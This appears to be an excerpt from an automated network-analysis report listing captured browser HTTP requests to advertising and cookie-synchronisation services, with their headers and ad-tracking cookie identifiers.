Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=pub&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=rbcn&ovsid=LR8EUG12-1F-5JG4&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1
Source: global traffic	HTTP traffic detected: GET /ups/58280/sync?uid=316bb570-8374-4683-a0e9-a8b41619214a&_origin=0&redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ctn&refUrl=&vid=49292349683479308310180275000V10&ovsid=3eb4f1d28af642b8a97d60a85e0f7108&axid_e=&y=null&gdpr=0 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u=4eSxQcp0Lf90A16Ellma; g=4eSxQcp0Lf90A16Ellma_1704929240349; ts=1704929240
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=58259&ovsid=VEeMJ__OOM_smh2PNiGG&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_cm&google_sc&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252Chttps%25253A%25252F%25252Fx.bidswitch.net%25252Fsync%25253Fdsp_id%25253D437%252526ssp%25253Dcriteo%252526user_id%25253D%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUYASADKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.
Source: global traffic	HTTP traffic detected: GET /insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: thrtle.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUYASADKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.
Source: global traffic	HTTP traffic detected: GET /sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.bfmio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /match/bidswitch?id=%24%7Buser_id%7D&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69&chk=1 HTTP/1.1Host: sync-dmp.mobtrakk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: chk=1
Source: global traffic	HTTP traffic detected: GET /cookie-sync?gdpr=0&gdpr=0&userid=5415633966123335522&gdpr=0&gdpr_consent=&bee_sync_partners=pm&bee_sync_current_partner=syn&bee_sync_initiator=adx&bee_sync_hop_count=4 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /ecm3?id=LR8EUG12-1F-5JG4&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=58601&ovsid=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_cm&google_hm=TFI4RVVHMTItMUYtNUpHNA==&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /pagead/adview?ai=Cylub1CefZfyIAYPr0_wP_9298AqjprHLbIXIn6mtEMCNtwEQASAAYMmGgIDQJIIBF2NhLXB1Yi0yMzA1MzA0OTk5MTg4NjUzyAEJ4AIAqAMByAMCqgSqAk_QU_cO6ugHxgXt_rjXfm54JwtwPzK__4J3qleQh0T4rFES9Fcokcpa1IrhxEJLqUpQtco521q6z6wWr2Fm2B2KOEaGvjGDw-IQOalzRoyl4FPVitwIR8piAE2Nr3iOKssNiji28bGJ08mPVHgX-v_qpbsS7ZXx36A83_oBXj95v_4oUq-9ah-EaKM89TtHJJJ1jcv9yp_LbCwO3SBc1kyO2NeLs1LPTWDSUcUFsl_uh6dzCVQf3DNuNJZL6kybn1AMNlmbgYMly2y607QpWv_GwxYQJPxgYaqkFmIQh_CXq26yIRwNyr1yLHeAXnk4Qh8SfIvdqv4yuJXwyjHjjH73EEE7HquI7idIV3nvep3CGwafM45jS1k6nHgw52pGKXVqJWQbHlYFLw3gBAGABvbumo7HreyiaKAGIagHpr4bqAeW2BuoB6qbsQKoB4OtsQKoB_-esQKoB9-fsQLYBwDSCB0IgGEQATICigI6BIBAgEBIvf3BOljr9-ir_NODA4AKA_oLAggBgAwB4g0TCJzE6av804MDFYP1lAkd_24PrtAVAYAXAbIXHQobEhRwdWItMjMwNTMwNDk5OTE4ODY1Mxiaq5AB&sigh=9HdD3e5hsLY&uach_m=%5BUACH%5D&cid=CAQSTgAvHhf_CuTml4XjNhrGH-EvH6bmxMeJVbHet60GxZyZiI2P7gJs8_0p3MsS0F6QTGYvkeECjMFC4tFOQ35mixvirlysVV03TtfyIYOfmBgB&cbvp=2&vis=1 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /api/log/winnotice?tn=41b6e88a2b85b0e731ef8e73e5558712&winloss=2&id=2bbead71faf3a16516f4ce6cae6bd760&seat_id=${AUCTION_SEAT_ID}&currency=${AUCTION_CURRENCY}&bid_id=${AUCTION_BID_ID}&ad_id=${AUCTION_AD_ID}&loss=${AUCTION_LOSS}&imp_id=1&price=${AUCTION_PRICE}&test=0&time=1704929236&dp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&dsp_id=22&data=mul6hJvxWUoTpElV_5Xmza8ulaQsDhmkYEIF6UyTsaYQLfpNVCwg0YMYTypvtG5b-KBR66pX0T3dR2ZzXwu2v9XyKyQgdsKWzXgswplz6_cvjRBDAa6zjPEWzPCvmmLeFEYELGpcOE_nEgDs-k3oEcKQJ2nEFBThCELsS25BLTmfk14dKEoB9leN6riHaXgpfULVi41wzUe8GTq0wcch4awZ5QgE2w4rFe75O4QSA7VOisczbJ8AHbh4eVoD0JGy44mnaR438LER_XcASNHv0kL_pWIbJza_3j0xS7mxEtxvrcGpPztUiqnrbFX1F-Y5y30pXB7Ifr8EJI-XI1tFvzBl4BUaksOX8x6V5U_6YFSF7EcZGpDddjpDY9IA_rGl8IXSuLFVKj7M_cgAN-_eYenMRSQDd5fJb0xOvdBGFl9mye3di1FcqMZYcGAkpQtBrkLEIHvXpu4ZSe31dPeTfGYe8vZ5Rf0xfUnS8GRlufseg4U4jiikdFWMtyyNVMjaHk-O4i8d0d3fk7xGW8-0_o1qbfbNorX0sduB28bi3nXn0MfCMGYskh0eTtRg9OigmxM--AIaHu61iKPANsjDXlZlEMTdtOKix5op9BXwKAdyD8Qir4srhuXfD4jPCuhRft3JhxIjQwsHAVVOBg0-IMZZQeO4BqP03u6bUYGslEG4DlPCXwVwZQAC39B2QwOp&trackingid=04a631c1403c686257d99a5a93eaf1a7&sp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&cbvp=2 HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __mguid_=22210ca7d904fe7322qnsv00lr8eukx3
Source: global traffic	HTTP traffic detected: GET /sync/rubicon/nocrATygFs-QLks5M0gG_Mn5EUdSAgOZEtemQ7w0kco?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1Host: sync.targeting.unrulymedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
